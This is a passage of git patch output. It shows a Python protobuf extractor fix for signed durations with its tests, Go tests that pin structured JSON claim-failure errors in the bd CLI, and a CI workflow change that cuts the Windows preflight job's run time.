TestCIAnalyticsExtractUnitTests) now include the // mismatched-invocation-id and truncated-BEP cases beads originally added // (test_beads_mismatch_fixture_reports_mismatch, @@ -43,11 +43,11 @@ func ciAnalyticsTestdataDir(root string) string { } // ciAnalyticsExtractSHA256 and ciAnalyticsExtractUnitTestSHA256 pin the -// vendored files' content, computed from gascity's final sanitized, -// squashed-to-one-commit history at 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac. +// vendored files' content, computed from gascity's signed-durations fix at +// 9865cc045aee1391dbcc7eac99339c26e3a5ce71. const ( - ciAnalyticsExtractSHA256 = "6bb912b17faac59a12ec53f71fbfbedfecc503037b6f5954e878d108abaae44f" - ciAnalyticsExtractUnitTestSHA256 = "e833e1c961010cd02189afaef273a261a54ccabe916b03bae3115177378a405b" + ciAnalyticsExtractSHA256 = "be6d187804f8b44a75af40113fef97c37476923a1c6a0966d6216a791935c674" + ciAnalyticsExtractUnitTestSHA256 = "7e67b54b0e6d374efed899c8cae448f75effcdd1210b053e242a3ff51f1c8992" // ciAnalyticsTestdataSHA256 pins testdata/ci_analytics/** as a whole // (regen.sh, mismatch.bep.jsonl, poisoned-bep.json and real/*): a sha256 // over every file's slash-joined relative path and bytes, each @@ -55,7 +55,9 @@ const ( // computed the same way over gascity's 00161373bc tree and confirmed // identical, so this one hash catches a dropped, renamed or // individually-edited fixture that a single-file sha256 (the two - // above) can't. + // above) can't. The signed-durations fix (9865cc045aee) touches only + // the extractor and its unit test, not testdata/ci_analytics/, so this + // pin is unchanged and was re-verified against gascity's tree. ciAnalyticsTestdataSHA256 = "dc9ac595df095ef8fe1b965d0e2a8d0b0e5694c3122208891d27655bcc2285d5" ) @@ -118,7 +120,7 @@ func TestCIAnalyticsExtractorIsPinnedToGascity(t *testing.T) { } sum := sha256.Sum256(raw) if got := hex.EncodeToString(sum[:]); got != tc.want { - t.Errorf("%s sha256 = %s, want %s (gascity ci/analytics-extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac): "+ + t.Errorf("%s sha256 = %s, want %s (gascity ci/analytics-extract-signed-durations @ 9865cc045aee1391dbcc7eac99339c26e3a5ce71): "+ "either this file drifted from gascity's canonical copy, or gascity changed it "+ "and this pin (and the vendored copy) needs updating to match", tc.path, got, tc.want) } @@ -131,7 +133,7 @@ func TestCIAnalyticsExtractorIsPinnedToGascity(t *testing.T) { } } -// TestCIAnalyticsExtractUnitTests runs gascity's own 62 unittest cases +// TestCIAnalyticsExtractUnitTests runs gascity's own 67 unittest cases // in-place against the vendored extractor: the real Bazel 9.2.0 fixtures // (testdata/ci_analytics/real/*, regenerated under env -i after the S2 // leak), the synthetic remote/cache-hit exec log built by the test's own diff --git a/tools/bazel/ci_analytics_extract.py b/tools/bazel/ci_analytics_extract.py index 7f5d9bc3d..7696b2e75 100644 --- a/tools/bazel/ci_analytics_extract.py +++ b/tools/bazel/ci_analytics_extract.py @@ -60,7 +60,18 @@ import time FORMAT = "ci-analytics-summary" SCHEMA_VERSION = 1 -EXTRACTOR_VERSION = "1.0.0" +# Bumped alongside the signed-duration fix below, so S4 can tell a +# fixed-up artifact (no more 2^63/2^64-scale decoy durations from a +# negative queue/exec/setup/upload time decoded as unsigned) from one +# produced by the earlier, buggy extractor. +EXTRACTOR_VERSION = "1.1.0" + +# A per-spawn duration (Duration.seconds*1000 + Duration.nanos//1e6, after +# signed decoding) above this is treated as corrupt, not a real build: a +# single spawn cannot legitimately run for more than a day. Also the upper +# clamp for the other duration/int fields this file decodes (see +# _clamp_duration_ms below). +MAX_SANE_DURATION_MS = 24 * 60 * 60 * 1000 MAX_INVOCATIONS = 8 MAX_MNEMONICS = 200 @@ -368,17 +379,56 @@ def fields(b, deadline=None): yield f, t, v +def _to_signed64(v): + """varint()/fields() decode a wire-type-0 field's raw bits as an + unsigned 64-bit value; protobuf's int64 (and int32 -- see + _to_signed32) are the two's-complement bit pattern of a *signed* + value, re-encoded with the same unsigned-varint algorithm. A real + negative int64 (e.g. a Duration whose seconds/nanos went negative from + clock skew between the NativeLink scheduler and a worker) is written + as a 10-byte varint of its 64-bit two's complement form, which this + recovers: values with the top bit set (>= 2^63) are negative.""" + return v - (1 << 64) if v >= (1 << 63) else v + + +def _to_signed32(v): + """Same, for an int32 field (Duration.nanos): proto encoders sign- + extend a negative int32 to 64 bits before varint-encoding it, so + _to_signed64(v) alone already recovers the right numeric value for a + well-formed input. This additionally truncates to the low 32 bits + first, so a corrupt/hostile encoder that puts a value outside the + int32 range on an int32-typed field degrades to *some* signed 32-bit + value instead of silently keeping 64 bits of it.""" + v &= 0xFFFFFFFF + return v - (1 << 32) if v >= (1 << 31) else v + + +def _clamp_duration_ms(ms): + """Clamps a decoded duration to [0, MAX_SANE_DURATION_MS]. A negative + duration -- the whole point of this fix: clock skew between the + NativeLink scheduler and a worker can make a remote spawn's queue time + read slightly negative, which _to_signed64() now decodes correctly + instead of as a near-2^63 positive decoy -- counts as 0, and so does + anything implausibly large (not a real build, so probably corrupt). + Applied per spawn/per field, before any sum: one poisoned spawn can + never poison a mnemonic's or label's total.""" + if not isinstance(ms, (int, float)) or not math.isfinite(ms) or ms < 0 or ms > MAX_SANE_DURATION_MS: + return 0 + return ms + + def dur_ms(v, deadline=None): - """Decodes a Duration submessage's bytes (fields 1 seconds, 2 nanos).""" + """Decodes a Duration submessage's bytes (fields 1 seconds, 2 nanos) to + a signed-then-clamped millisecond count.""" seconds = nanos = 0 for f, t, val in fields(v, deadline): if t != 0: continue if f == 1: - seconds = val + seconds = _to_signed64(val) elif f == 2: - nanos = val - return seconds * 1000 + nanos // 1_000_000 + nanos = _to_signed32(val) + return _clamp_duration_ms(seconds * 1000 + nanos // 1_000_000) def spawns(raw, deadline): @@ -425,7 +475,12 @@ def spawns(raw, deadline): if mf in SPAWN_METRIC and mt == 2 and isinstance(mv, bytes): s["m"][SPAWN_METRIC[mf]] = dur_ms(mv, deadline) elif mf == 11 and mt == 0: - s["m"]["input_bytes"] = mv + # Also int64; not a duration, but still + # decoded as unsigned bits -- a negative + # value here is nonsensical, so clamp to 0 + # rather than letting it decode to a huge + # positive "byte count" either. + s["m"]["input_bytes"] = max(0, _to_signed64(mv)) yield inv, s @@ -858,8 +913,14 @@ def build_action_data(events): ) d["bep_executed"] += as_int(ad.get("actionsExecuted")) d["bep_created"] += as_int(ad.get("actionsCreated")) - d["user_ms"] += as_duration_ms(ad.get("userTime")) or 0 - d["system_ms"] += as_duration_ms(ad.get("systemTime")) or 0 + # BEP's own Duration strings ("3.14s") aren't subject to the + # unsigned-varint bug (DURATION_RE allows a leading "-", so + # a legitimately negative one would already parse), but the + # same sane-duration clamp is applied here too, for the same + # reason: one corrupt/adversarial value should never poison + # this mnemonic's running total. + d["user_ms"] += _clamp_duration_ms(as_duration_ms(ad.get("userTime")) or 0) + d["system_ms"] += _clamp_duration_ms(as_duration_ms(ad.get("systemTime")) or 0) except Exception: continue return data diff --git a/tools/bazel/ci_analytics_extract_test.py b/tools/bazel/ci_analytics_extract_test.py index dc7de9205..6f55f0bba 100644 --- a/tools/bazel/ci_analytics_extract_test.py +++ b/tools/bazel/ci_analytics_extract_test.py @@ -79,6 +79,27 @@ def _duration_bytes(ms: int) -> bytes: return _varint_field(1, seconds) + _varint_field(2, nanos * 1_000_000) +def _signed_varint(n: int) -> bytes: + """Encodes a signed int64/int32 field's value the way a real protobuf + encoder does: the 64-bit two's-complement bit pattern, varint-encoded + as if it were unsigned -- a negative value always takes the full 10 + bytes. _varint() itself can't be used directly for a negative n: `n & + 0x7F`/`n >>= 7` on a negative Python int never reaches 0 (arithmetic + shift preserves the sign), so it would loop forever.""" + return _varint(n & 0xFFFFFFFFFFFFFFFF) + + +def _signed_varint_field(field: int, n: int) -> bytes: + return _tag(field, 0) + _signed_varint(n) + + +def _signed_duration_bytes(seconds: int, nanos: int) -> bytes: + """Builds a Duration submessage (fields 1 seconds, 2 nanos) with + explicit, possibly-negative values, each encoded the way a real + negative int64/int32 would be: a 10-byte two's-complement varint.""" + return _signed_varint_field(1, seconds) + _signed_varint_field(2, nanos) + + def _spawn_metrics(total_ms=0, queue_ms=0, exec_ms=0, input_bytes=0) -> bytes: body = b"" if total_ms: @@ -293,6 +314,31 @@ class ExtractorHelperTests(unittest.TestCase): self.assertEqual(extract._clamp_pct(float("-inf")), 0.0) self.assertEqual(extract._clamp_pct(float("nan")), 0.0) + def test_to_signed64_recovers_negative_values_from_the_raw_varint_bits(self): + # -1 as a 64-bit two's complement varint is 10 bytes of 0xFF-ish + # bits; varint() decodes that as 2**64 - 1. + self.assertEqual(extract._to_signed64((1 << 64) - 1), -1) + self.assertEqual(extract._to_signed64(1 << 63), -(1 << 63)) + self.assertEqual(extract._to_signed64(0), 0) + self.assertEqual(extract._to_signed64((1 << 63) - 1), (1 << 63) - 1) + + def test_to_signed32_truncates_then_sign_extends(self): + self.assertEqual(extract._to_signed32((1 << 32) - 1), -1) + self.assertEqual(extract._to_signed32(1 << 31), -(1 << 31)) + self.assertEqual(extract._to_signed32(0), 0) + # A hostile/corrupt int64-range value on an int32-typed field is + # truncated to the low 32 bits first, not kept as a huge int64. + self.assertEqual(extract._to_signed32((1 << 40) + 5), 5) + + def test_clamp_duration_ms_rejects_negative_and_absurdly_large(self): + self.assertEqual(extract._clamp_duration_ms(500), 500) + self.assertEqual(extract._clamp_duration_ms(0), 0) + self.assertEqual(extract._clamp_duration_ms(-1500), 0) + self.assertEqual(extract._clamp_duration_ms(extract.MAX_SANE_DURATION_MS), extract.MAX_SANE_DURATION_MS) + self.assertEqual(extract._clamp_duration_ms(extract.MAX_SANE_DURATION_MS + 1), 0) + self.assertEqual(extract._clamp_duration_ms(float("inf")), 0) + self.assertEqual(extract._clamp_duration_ms(float("nan")), 0) + class RealFixtureTests(unittest.TestCase): """testdata/ci_analytics/real/*: genuine Bazel 9.2.0 output.""" @@ -1161,6 +1207,63 @@ class RobustnessTests(unittest.TestCase): self.assertEqual(status, "corrupt") self.assertEqual([r["repo"] for r in rows], ["@@rules_cc+"]) + def test_negative_queue_duration_decodes_to_zero_not_a_huge_positive(self): + """The production bug: clock skew between the NativeLink scheduler + and a worker can make a remote spawn's queue time read slightly + negative. protobuf encodes that as a 10-byte two's-complement + varint of the Duration's seconds/nanos; decoding those bits as + unsigned (the pre-fix behavior) produced "remote_queue_ms" values + around 2**63/1e3 -- not a small negative number. Built with the + test-side signed varint encoder (_signed_duration_bytes), not the + plain _duration_bytes() helper, which can't represent a negative + value at all.""" + uuid = "11111111-2222-3333-4444-555555555555" + # -1.5s of (impossible, but exactly what clock skew would produce) + # negative queue time, alongside a normal positive total/exec so + # the fix's "other values intact" half is also checked. + metrics = ( + _bytes_field(5, _signed_duration_bytes(-1, -500_000_000)) + + _bytes_field(1, _duration_bytes(200)) + + _bytes_field(8, _duration_bytes(50)) + ) + spawn_body = _spawn("//:synth_remote2", "TestRunner", "remote", False, metrics) + exec_log = _invocation_entry(uuid) + _entry_with_spawn(spawn_body) + rec = self._run(self._bep(uuid), exec_log) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "ok") + by_mnemonic = {m["mnemonic"]: m for m in rec["mnemonics"]} + tr = by_mnemonic["TestRunner"] + self.assertEqual(tr["remote_queue_ms"], 0) + self.assertEqual(tr["remote_queue_max_ms"], 0) + # Not poisoned by the clamped-away queue value: total/exec, decoded + # from the same spawn's other, non-negative Duration fields, are + # unaffected. + self.assertEqual(tr["total_ms"], 200) + self.assertEqual(tr["remote_exec_ms"], 50) + + def test_absurdly_large_duration_clamps_to_zero(self): + """A corrupt (not just adversarial) producer could put an + implausible but individually well-formed value on a Duration + field -- MAX_SANE_DURATION_MS guards against that the same way as + the negative case, so one bad spawn can't blow out a mnemonic's + sum in either direction.""" + uuid = "11111111-2222-3333-4444-555555555555" + absurd_ms = 50 * 60 * 60 * 1000 # 50 hours: no real spawn runs this long + metrics = ( + _bytes_field(5, _duration_bytes(absurd_ms)) + + _bytes_field(1, _duration_bytes(200)) + + _bytes_field(8, _duration_bytes(50)) + ) + spawn_body = _spawn("//:synth_remote3", "TestRunner", "remote", False, metrics) + exec_log = _invocation_entry(uuid) + _entry_with_spawn(spawn_body) + rec = self._run(self._bep(uuid), exec_log) + self.assertIsNotNone(rec) + by_mnemonic = {m["mnemonic"]: m for m in rec["mnemonics"]} + tr = by_mnemonic["TestRunner"] + self.assertEqual(tr["remote_queue_ms"], 0) + self.assertEqual(tr["total_ms"], 200) + self.assertEqual(tr["remote_exec_ms"], 50) + class BoundsTests(unittest.TestCase): def test_exec_log_parse_timeout_is_reported(self): From d0cc1b173fc3d11dbfb99389efacff9a5db87f24 Mon Sep 17 00:00:00 2001 From: Steve Yegge Date: Thu, 8 Oct 2026 02:08:12 +0000 Subject: [PATCH 158/325] test(protocol): pin claim refusals on the single --json batch report (wy-kxgf4) (#4756) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(cli): emit claim failures as structured JSON under --json (wy-kxgf4) Protocol v0 §E5 requires that with --json, errors are emitted as a JSON object carrying at least "error" and schema_version: 1. bd honored that on the not-found path but not on the claim paths: `bd update --claim --json` printed Error claiming t04...-qqr: issue already claimed by alice as plain text on stderr, so an agent driving bd with --json got an unparseable line for the single most common contended-write failure it has to branch on. The §E4 message contract held (the class and the holder/state are named); the §E5 structured contract did not. Route both claim paths (the direct-store loop in update.go and the SQL-server proxied path) through a new reportClaimFailure helper: under --json it emits {error, schema_version:1} via jsonStderrError, otherwise the plain-text wording is unchanged, byte for byte, since §E4 tests pin it. The JSON object goes to stderr so a mixed batch's stdout stays the clean array of the issues that did update; the stream split itself is proposal OQ-5 and is not pinned. Un-skips TestProtocol_ErrorClass_ClaimFailures_StructuredJSON, which was written against the clause and skipped pending this fix; it now passes and becomes the guardrail. Full cmd/bd/protocol package green. Co-Authored-By: Claude Opus 4.8 * test(protocol): pin claim refusals on the single --json batch report (wy-kxgf4) Adopt-PR review fixup for #4756, iteration 1. It takes option (a) from the review synthesis, which is also maphew's CHANGES_REQUESTED fix: drop the eager per-claim JSON object and pin §E4/§E5 on main's centralized batch report instead. Major 1 (claude+codex, maphew's blocker). Under --json, a refused claim printed two JSON documents on stderr: the indented reportClaimFailure object, then reportUpdateFailures' compact {error, failed, schema_version} summary. A consumer reading the whole stream, or main's documented "last stderr line", did not get one document. Main has already moved on (wy-ghg0d). That summary reports every per-id refusal, and the refused id's failed[] entry already names the class and the holder or state: {"error":"1 of 1 issues failed to update","failed":[{"id":"…", "error":"updating issue: issue already claimed by alice"}], "schema_version":1} So cmd/bd/errors.go, update.go and update_proxied_server.go go back to base byte for byte. reportClaimFailure and its two call sites are gone, and text output, stdout and exit codes are main's. That supersedes the helper the contributor commit describes. The PR now changes only tests, so its title and squash message should say so at finalize. This also covers the commit-message nit. Major 2 (the proxied claim arm was not gated on `claim`, so a proxied --assignee fence refusal read "failed to claim") is moot: the object it mislabelled no longer exists. Both routes report through the same summary. The message-drift minor is moot too. So is the synthesis's follow-up about the direct route's non-claim fence refusals under --json: they already land in the same failed[] list. The remaining "updating issue:" vs "claiming issue:" entry prefixes are pre-existing on main. TestProtocol_ErrorClass_ClaimFailures_StructuredJSON stays un-skipped and is re-pinned. It now requires: - exactly one top-level JSON error document (the new jsonErrorDocs steps over each decoded object, so failed[] entries are not counted); - §E5's error and schema_version on that document; - a failed[] entry for the refused id that names "already claimed" and "alice", or "not claimable" and "closed". TestProxiedServerUpdate gains claim_conflict_json_reports_holder_in_failed_entry, the proxied guardrail the review found missing. Two test-gap asks are dropped because they targeted the claim-only branch, which is gone: the --assignee --json negative case, and --format json (which reaches the same jsonOutput-keyed reporter). Validation (local Dolt 2.2.0 server, scrubbed env): - cmd/bd/protocol, whole package, with BEADS_PROTOCOL_REQUIRE_DOLT=1: 109 pass, 1 pre-existing PTY skip. - Mutant (this PR's original errors.go, update.go and update_proxied_server.go restored): the protocol test and the new proxied subtest both fail on "2 JSON error documents"; both pass at this head. - TestProxiedServerUpdate (proxied-lane env): all subtests pass. - TestParityUpdate* (including TestParityUpdateJSONFailureReport) and TestMultiIDUpdate*: pass. - make ci-pr-lint: 0 issues (native, windows, darwin). Follow-up, not in this PR: typed claim-conflict fields in failed[] (issueops.ClaimConflictError's holder and status), so consumers need not match on message text. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 4.8 Co-authored-by: Eddie the Engineer --- cmd/bd/protocol/errors_contract_test.go | 39 ++++----- cmd/bd/protocol/wp4_helpers_test.go | 97 +++++++++++++++++++---- cmd/bd/update_proxied_integration_test.go | 48 +++++++++++ 3 files changed, 145 insertions(+), 39 deletions(-) diff --git a/cmd/bd/protocol/errors_contract_test.go b/cmd/bd/protocol/errors_contract_test.go index f28ca9341..ea8a7f242 100644 --- a/cmd/bd/protocol/errors_contract_test.go +++ b/cmd/bd/protocol/errors_contract_test.go @@ -115,25 +115,16 @@ func TestProtocol_ErrorClass_NotClaimableNamesState(t *testing.T) { } // TestProtocol_ErrorClass_ClaimFailures_StructuredJSON is the §E5 half of the -// claim error classes — and it is SKIPPED because bd-go does not satisfy it -// today (wy-kxgf4). -// -// bd routes not-found through the JSON-respecting error helper, so -// `bd show --json` emits {error, schema_version:1} (pinned above). -// The claim path does not: `bd update --claim --json` prints -// -// Error claiming t04…-qqr: issue already claimed by alice -// -// as plain text, so an agent driving bd with --json gets an unparseable stderr -// line for the single most common contended-write failure it must branch on. -// The message contract (§E4) holds; the structured contract (§E5) does not. -// -// Per proposal §14, where bd's behavior deviates from a clause the clause wins -// and the deviation is a bug — so this test asserts the clause and stays -// skipped until wy-kxgf4 lands, at which point it becomes the guardrail. +// claim error classes: a lost claim is the most common contended-write failure +// an agent driving bd with --json has to branch on, so its class must be +// readable from a JSON document and not only from a stderr line to scrape. bd +// update reports per-id refusals in one batch document, so the class and the +// holder/state live in the refused id's "failed" entry; the top-level "error" +// is the batch summary. The document count is pinned as well: a second, +// per-claim object beside the batch report would hand a consumer two +// concatenated documents (wy-kxgf4). The stream (stdout vs stderr) is +// deliberately not pinned — that split is proposal OQ-5. func TestProtocol_ErrorClass_ClaimFailures_StructuredJSON(t *testing.T) { - t.Skip("bd emits claim failures as plain text even with --json; violates §E5 (wy-kxgf4)") - t.Parallel() w := newWorkspace(t) @@ -145,18 +136,16 @@ func TestProtocol_ErrorClass_ClaimFailures_StructuredJSON(t *testing.T) { // already-claimed: structured, and still naming the holder. out, _ := w.runEnvExpectError([]string{actorBob}, "update", claimed, "--claim", "--json") - obj := requireJSONError(t, out, "already-claimed --json") - msg := errorMessage(obj) + msg := requireFailedEntry(t, out, claimed, "already-claimed --json") if !strings.Contains(strings.ToLower(msg), "already claimed") || !strings.Contains(msg, "alice") { - t.Errorf("--json error does not name class + holder (§E4/§E5): %q", msg) + t.Errorf("--json failed entry does not name class + holder (§E4/§E5): %q", msg) } // not-claimable: structured, and still naming the state. out, _ = w.runEnvExpectError([]string{actorBob}, "update", closed, "--claim", "--json") - obj = requireJSONError(t, out, "not-claimable --json") - msg = strings.ToLower(errorMessage(obj)) - if !strings.Contains(msg, "not claimable") || !strings.Contains(msg, "closed") { - t.Errorf("--json error does not name class + state (§E4/§E5): %q", errorMessage(obj)) + msg = requireFailedEntry(t, out, closed, "not-claimable --json") + if lower := strings.ToLower(msg); !strings.Contains(lower, "not claimable") || !strings.Contains(lower, "closed") { + t.Errorf("--json failed entry does not name class + state (§E4/§E5): %q", msg) } } diff --git a/cmd/bd/protocol/wp4_helpers_test.go b/cmd/bd/protocol/wp4_helpers_test.go index 6c4ba40a0..b777150bf 100644 --- a/cmd/bd/protocol/wp4_helpers_test.go +++ b/cmd/bd/protocol/wp4_helpers_test.go @@ -100,24 +100,57 @@ func jsonErrorFrom(t *testing.T, out string) (map[string]any, bool) { if err := dec.Decode(&obj); err != nil { continue } - if _, ok := obj["error"]; ok { - return obj, true - } - // BD_JSON_ENVELOPE=1 nests the error under "data". - if data, ok := obj["data"].(map[string]any); ok { - if _, ok := data["error"]; ok { - // Lift schema_version from the envelope so the caller can - // assert one shape. - if sv, ok := obj["schema_version"]; ok { - data["schema_version"] = sv - } - return data, true - } + if errObj, ok := asJSONError(obj); ok { + return errObj, true } } return nil, false } +// asJSONError returns obj as a structured error object if it carries an +// "error" key, unwrapping the BD_JSON_ENVELOPE form ({schema_version, +// data:{...}}) so callers see one shape either way. +func asJSONError(obj map[string]any) (map[string]any, bool) { + if _, ok := obj["error"]; ok { + return obj, true + } + // BD_JSON_ENVELOPE=1 nests the error under "data". + if data, ok := obj["data"].(map[string]any); ok { + if _, ok := data["error"]; ok { + // Lift schema_version from the envelope so the caller can + // assert one shape. + if sv, ok := obj["schema_version"]; ok { + data["schema_version"] = sv + } + return data, true + } + } + return nil, false +} + +// jsonErrorDocs returns every top-level JSON error object in the output, in +// order. Unlike jsonErrorFrom it steps over each object it decodes, so an +// object nested inside a document is not counted as a document of its own — +// the entries of a batch report's "failed" list carry "error" keys too. +func jsonErrorDocs(out string) []map[string]any { + var docs []map[string]any + for i := 0; i < len(out); i++ { + if out[i] != '{' { + continue + } + dec := json.NewDecoder(strings.NewReader(out[i:])) + var obj map[string]any + if err := dec.Decode(&obj); err != nil { + continue + } + i += int(dec.InputOffset()) - 1 + if errObj, ok := asJSONError(obj); ok { + docs = append(docs, errObj) + } + } + return docs +} + // requireJSONError asserts the output carries a structured error object with a // non-empty message and schema_version == 1 (§E5), and returns it. func requireJSONError(t *testing.T, out, context string) map[string]any { @@ -126,6 +159,14 @@ func requireJSONError(t *testing.T, out, context string) map[string]any { if !ok { t.Fatalf("%s: no JSON error object in output:\n%s", context, out) } + checkJSONError(t, obj, out, context) + return obj +} + +// checkJSONError asserts a structured error object has a non-empty message +// and schema_version == 1 (§E5). +func checkJSONError(t *testing.T, obj map[string]any, out, context string) { + t.Helper() msg, _ := obj["error"].(string) if strings.TrimSpace(msg) == "" { t.Errorf("%s: JSON error has empty %q field:\n%s", context, "error", out) @@ -134,7 +175,6 @@ func requireJSONError(t *testing.T, out, context string) map[string]any { if !ok || int(sv) != 1 { t.Errorf("%s: schema_version = %v, want 1 (§E5):\n%s", context, obj["schema_version"], out) } - return obj } // errorMessage returns the "error" field of a structured error object. @@ -143,6 +183,35 @@ func errorMessage(obj map[string]any) string { return msg } +// requireFailedEntry asserts the output of a refused single-id write carries +// exactly one structured error document (§E5) and returns the "error" of that +// document's "failed" entry for id. bd reports per-id refusals in one batch +// document, {error: "N of M issues failed to update", failed: [{id, error}]}, +// so the entry, not the top-level summary, is where the class lives (§E4). +func requireFailedEntry(t *testing.T, out, id, context string) string { + t.Helper() + docs := jsonErrorDocs(out) + if len(docs) != 1 { + t.Fatalf("%s: %d JSON error documents in output, want exactly 1 (§E5):\n%s", context, len(docs), out) + } + obj := docs[0] + checkJSONError(t, obj, out, context) + failed, _ := obj["failed"].([]any) + for _, f := range failed { + entry, _ := f.(map[string]any) + if entry["id"] != id { + continue + } + msg, _ := entry["error"].(string) + if strings.TrimSpace(msg) == "" { + t.Errorf("%s: failed entry for %s has empty %q field:\n%s", context, id, "error", out) + } + return msg + } + t.Fatalf("%s: JSON error has no failed entry for %s:\n%s", context, id, out) + return "" +} + // --------------------------------------------------------------------------- // Store fixture: direct SQL against the workspace's database (§V2/§V3) // --------------------------------------------------------------------------- diff --git a/cmd/bd/update_proxied_integration_test.go b/cmd/bd/update_proxied_integration_test.go index 3de2485f7..efea4da05 100644 --- a/cmd/bd/update_proxied_integration_test.go +++ b/cmd/bd/update_proxied_integration_test.go @@ -291,6 +291,54 @@ func TestProxiedServerUpdate(t *testing.T) { } }) + // A refused --claim under --json on the proxied path: the batch report is + // the only JSON document the command prints, and its failed entry names the + // already-claimed class and the holder — the direct route's contract, + // pinned by protocol.TestProtocol_ErrorClass_ClaimFailures_StructuredJSON + // (wy-kxgf4). + t.Run("claim_conflict_json_reports_holder_in_failed_entry", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "uccj") + issue := bdProxiedCreate(t, bd, p.dir, "Contested JSON") + bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--claim", "--actor", "alice") + + stdout, stderr, err := bdProxiedUpdateRaw(t, bd, p.dir, "--json", issue.ID, "--claim", "--actor", "bob") + if err == nil { + t.Fatalf("proxied --json claim of an issue alice holds exited 0, want non-zero\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + + // A JSON document starts at column 0, whether compact or indented, so + // count those lines across both streams: one, not one per refusal. + docs := 0 + for _, line := range strings.Split(stdout+"\n"+stderr, "\n") { + if strings.HasPrefix(line, "{") { + docs++ + } + } + if docs != 1 { + t.Errorf("output carries %d JSON documents, want exactly 1 (the batch report)\nstdout:\n%s\nstderr:\n%s", docs, stdout, stderr) + } + + lines := strings.Split(strings.TrimSpace(stderr), "\n") + last := lines[len(lines)-1] + var report struct { + Error string `json:"error"` + Failed []struct { + ID string `json:"id"` + Error string `json:"error"` + } `json:"failed"` + } + if uerr := json.Unmarshal([]byte(last), &report); uerr != nil { + t.Fatalf("last stderr line is not a JSON failure report: %v\nstderr:\n%s", uerr, stderr) + } + if len(report.Failed) != 1 || report.Failed[0].ID != issue.ID { + t.Fatalf("JSON failure report failed list = %+v, want exactly one entry for %s", report.Failed, issue.ID) + } + if msg := report.Failed[0].Error; !strings.Contains(msg, "already claimed") || !strings.Contains(msg, "alice") { + t.Errorf("failed entry error = %q, want the already-claimed class naming the holder alice", msg) + } + }) + t.Run("add_remove_labels", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "ul") From 233d151b375591cb39d9456741806f73bdb8bb79 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 02:42:27 +0000 Subject: [PATCH 159/325] ci(pr): cut the Windows PR preflight leg's fixed costs (slice W) (#7378) PR preflight process (windows-latest) is a CI Gate input and, after the Bazel fixed-cost work, the merge-group critical path (ends at +247..+303s). Step timings from merge group 37710264475 and seven same-repo PR runs: 45-115s setup (setup-go, then module and build cache tar extraction), 33-71s "Exercise the real Bash process boundary", 27-58s ./cmd/bd test compile+link, 5-9s each for three more go test relinks. - scripts/pr_preflight_test.go: the ~29 pr-preflight.sh runs (about 1.5s each under Git Bash on Windows, 42.8s total in the merge group) now run as parallel subtests. Each run already had its own temp dir, call log and env; the one test that t.Setenv's stays serial. Linux: 4.8s -> 0.8s. - pr.yml: the hook-timeout step and the bd build fallback step become one go test of ./cmd/bd, saving a package re-hash and test-binary relink (5-9s on Windows for a sub-second test). Policy tests and the allowlist and topology docs follow the step name. - warm-non-race-cache.sh: on Windows also compile the three CGO_ENABLED=0 credential-fixture test packages the Windows-only fixture step runs, so main.yml's test-windows seeder covers them. No step, test or gate input is dropped; the job id, name, matrix and runner are unchanged. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr.yml | 26 ++++++++++++++----------- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 5 +++-- scripts/ci/warm-non-race-cache.sh | 9 +++++++++ scripts/ci_workflow_test.go | 4 ++-- scripts/pr_lanes_bazel_coverage_test.go | 2 +- scripts/pr_preflight_test.go | 25 ++++++++++++++++++++++++ tools/bazel/equivalence_allowlist.txt | 4 ++-- 7 files changed, 57 insertions(+), 18 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 7a9478e8b..6cefbbbe6 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -499,6 +499,13 @@ jobs: # cold `cmd/bd` test compile in "Exercise generated Git hook timeout # process boundary" (250-300s); see S2 below (the restore-non-race-cache # step) for the fix that actually targets it. Reverted to one leg per OS. + # + # Windows leg budget with the caches warm (merge group 37710264475 and PR + # runs, 2026-10-07/08): 45-115s setup (setup-go, then the two cache + # restores, mostly tar extraction), 33-71s for TestPRPreflight (Git Bash + # process creation, now parallel subtests), 27-58s to compile and link + # ./cmd/bd's test binary, and about 25s for the rest. A second Windows leg + # would pay the setup again to save about 20s, so it stays one leg. pr-preflight-platforms: name: PR preflight process (${{ matrix.os }}) runs-on: ${{ matrix.runner }} @@ -565,24 +572,21 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go test '-tags=gms_pure_go' -count=1 -run '^TestTestScriptPrebuiltBinaryContract$' ./scripts - - name: Exercise generated Git hook timeout process boundary - shell: bash - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: go test '-tags=gms_pure_go' -count=1 -run '^TestGeneratedHookTimeoutProcessBoundary$' ./cmd/bd - - # Plain go test's own bd build fallback (BEADS_TEST_BD_BINARY unset), + # One go test of ./cmd/bd runs the generated hook timeout boundary and + # plain go test's own bd build fallback (BEADS_TEST_BD_BINARY unset), # which Bazel never takes, on every OS developers run go test on: the # tests tools/bazel/equivalence_allowlist.txt lists as skipped under - # Bazel. Same build as the step above, so no second compile. - - name: Exercise go test's bd build fallback + # Bazel. They were two steps; each go test of ./cmd/bd re-hashes its + # ~1500 packages and relinks the test binary, which cost 5-9s on + # Windows for a fallback run of under one second. + - name: Exercise generated Git hook timeout process boundary and go test's bd build fallback shell: bash env: GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: go test '-tags=gms_pure_go' -count=1 -run '^(TestGOMODCACHENotUnderTestHome|TestGoBuildBDCommandIsCWDIndependent)$' ./cmd/bd + run: go test '-tags=gms_pure_go' -count=1 -run '^(TestGeneratedHookTimeoutProcessBoundary|TestGOMODCACHENotUnderTestHome|TestGoBuildBDCommandIsCWDIndependent)$' ./cmd/bd # This step recompiles ./cmd/bd's test binary. It must share the restored - # 